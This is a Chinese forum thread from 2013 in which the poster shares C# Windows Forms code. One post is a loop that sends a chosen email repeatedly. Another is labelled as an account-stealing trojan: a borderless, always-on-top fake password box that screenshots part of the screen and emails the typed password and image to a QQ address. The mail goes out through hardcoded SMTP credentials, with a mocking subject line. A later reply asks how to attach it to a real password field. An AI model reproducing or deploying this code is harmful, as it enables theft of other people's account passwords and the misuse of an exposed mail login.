别怕还有我在吧 关注:11贴子:455


IP属地:北京1楼2013-03-10 23:16回复


    IP属地:北京2楼2013-03-10 23:17
    回复


      IP属地:北京3楼2013-03-11 22:29
      回复


        IP属地:北京4楼2013-03-15 19:19
        回复
          using System;
          using System.Collections.Generic;
          using System.ComponentModel;
          using System.Data;
          using System.Drawing;
          using System.Linq;
          using System.Text;
          using System.Windows.Forms;
          using System.Net.Mail;
          using System.Net; namespace 发送邮件
          {
          public partial class Form1 : Form
          {
          public Form1()
          {
          InitializeComponent();
          }
          private void button1_Click(object sender, EventArgs c)
          {
          int a = Convert.ToInt32(textBox6.Text);
          for (int i = 0; i < a; i++)
          {
          string userEmail = Convert.ToString(textBox1.Text);
          string userPswd = Convert.ToString(textBox2.Text);
          string toEmail = Convert.ToString(textBox3.Text);
          string mailServer = Convert.ToString(textBox7.Text); ; //邮件服务器
          string subject = Convert.ToString(textBox4.Text);
          string mailBody = Convert.ToString(textBox5.Text);
          string username = userEmail.Substring(0, userEmail.IndexOf('@'));
          MailAddress from = new MailAddress(userEmail);
          MailAddress to = new MailAddress(toEmail);
          MailMessage mailobj = new MailMessage(from, to);
          mailobj.Subject = subject;
          mailobj.Body = mailBody;
          mailobj.IsBodyHtml = false;
          mailobj.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");
          mailobj.Priority = MailPriority.High;
          SmtpClient smtp = new SmtpClient(mailServer);
          smtp.UseDefaultCredentials = false;
          smtp.Credentials = new NetworkCredential(username, userPswd);
          smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
          try
          {
          smtp.Send(mailobj);
          }
          catch (Exception e)
          {
          Console.WriteLine(e.Message); Console.WriteLine(e.StackTrace);
          }
          }
          }
          }
          }
          看着不多 没累死大哥


          IP属地:北京5楼2013-03-15 19:21
          回复

            盗号木马 思路


            IP属地:北京6楼2013-03-16 12:46
            回复

              PASSWORD编辑框


              IP属地:北京7楼2013-03-16 12:47
              回复
                PASSWORD编辑框
                private void InitializeComponent()
                {
                System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
                this.textBox1 = new System.Windows.Forms.TextBox();
                this.SuspendLayout();
                //
                // textBox1
                //
                this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
                resources.ApplyResources(this.textBox1, "textBox1");
                this.textBox1.Name = "textBox1";
                this.textBox1.UseSystemPasswordChar = true;
                this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
                //
                // Form1
                //
                resources.ApplyResources(this, "$this");
                this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
                this.ControlBox = false;
                this.Controls.Add(this.textBox1);
                this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
                this.MaximizeBox = false;
                this.MinimizeBox = false;
                this.Name = "Form1";
                this.ShowIcon = false;
                this.TopMost = true;
                this.ResumeLayout(false);
                this.PerformLayout(); } #endregion private System.Windows.Forms.TextBox textBox1;
                }
                }


                IP属地:北京9楼2013-03-16 12:53
                回复

                  using System;
                  using System.Collections.Generic;
                  using System.ComponentModel;
                  using System.Data;
                  using System.Drawing;
                  using System.Linq;
                  using System.Text;
                  using System.Windows.Forms;
                  using System.Drawing.Imaging;
                  using System.Net.Mail;
                  using System.Net; namespace qqmm
                  {
                  public partial class Form1 : Form
                  {
                  public Form1()
                  {
                  InitializeComponent();
                  } private void textBox1_MouseClick(object sender, MouseEventArgs e)
                  {
                  //获得当前屏幕的分辨率
                  Screen scr = Screen.PrimaryScreen;
                  Rectangle rc = scr.Bounds;
                  int iWidth = rc.Width;
                  int iHeight = rc.Height;
                  //创建一个和屏幕一样大的Bitmap
                  Image myImage = new Bitmap(300, 300);
                  //从一个继承自Image类的对象中创建Graphics对象
                  Graphics g = Graphics.FromImage(myImage);
                  //抓屏并拷贝到myimage里
                  g.CopyFromScreen(new Point(550, 300), new Point(0, 0), new Size(300, 300));
                  //保存为文件
                  myImage.Save("c:\\1.jpeg"); } private void textBox1_MouseLeave(object sender, EventArgs e)
                  {
                  this.Opacity = 0.00D;
                  string userEmail = "lkjasdgfh@163.com";
                  string userPswd = "xywgjfkdl";
                  string toEmail = "337509621@qq.com";
                  string mailServer = "smtp.163.com"; ; //邮件服务器
                  string subject = "又是一个笨蛋";
                  string mailBody = "该账号密码为"+Convert.ToString(textBox1.Text);
                  string sfile = "C:\\1.jpeg";
                  string username = userEmail.Substring(0, userEmail.IndexOf('@'));
                  MailAddress from = new MailAddress(userEmail);
                  MailAddress to = new MailAddress(toEmail);
                  MailMessage mailobj = new MailMessage(from, to);
                  mailobj.Attachments.Add(new Attachment(sfile));
                  mailobj.Subject = subject;
                  mailobj.Body = mailBody;
                  mailobj.IsBodyHtml = false;
                  mailobj.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");
                  mailobj.Priority = MailPriority.High;
                  SmtpClient smtp = new SmtpClient(mailServer);
                  smtp.UseDefaultCredentials = false;
                  smtp.Credentials = new NetworkCredential(username, userPswd);
                  smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
                  try
                  {
                  smtp.Send(mailobj);
                  }
                  catch (Exception err)
                  {
                  Console.WriteLine(err.Message); Console.WriteLine(err.StackTrace);
                  }
                  }
                  }
                  }


                  IP属地:北京10楼2013-03-16 15:46
                  回复


                    IP属地:北京11楼2013-03-16 15:50
                    回复


                      IP属地:北京12楼2013-03-16 16:07
                      回复
                        Screen scr = Screen.PrimaryScreen;
                        Rectangle rc = scr.Bounds;
                        int iWidth = rc.Width;
                        int iHeight = rc.Height;
                        Image myImage = new Bitmap(300, 300);
                        //从一个继承自Image类的对象中创建Graphics对象
                        Graphics g = Graphics.FromImage(myImage);
                        //抓屏并拷贝到myimage里
                        g.CopyFromScreen(new Point(550, 300), new Point(0, 0), new Size(300, 300));
                        //保存为文件
                        myImage.Save("c:\\1.jpeg");


                        IP属地:北京13楼2013-03-16 16:08
                        回复
                          猜数字。


                          IP属地:北京14楼2013-04-12 17:44
                          回复
                            强大!


                            15楼2013-04-14 22:54
                            回复
                              弱弱问一下,当找到password窗口后,怎么调用PASSWORD编辑框。这个需要传什么参数???


                              16楼2013-04-14 23:43
                              回复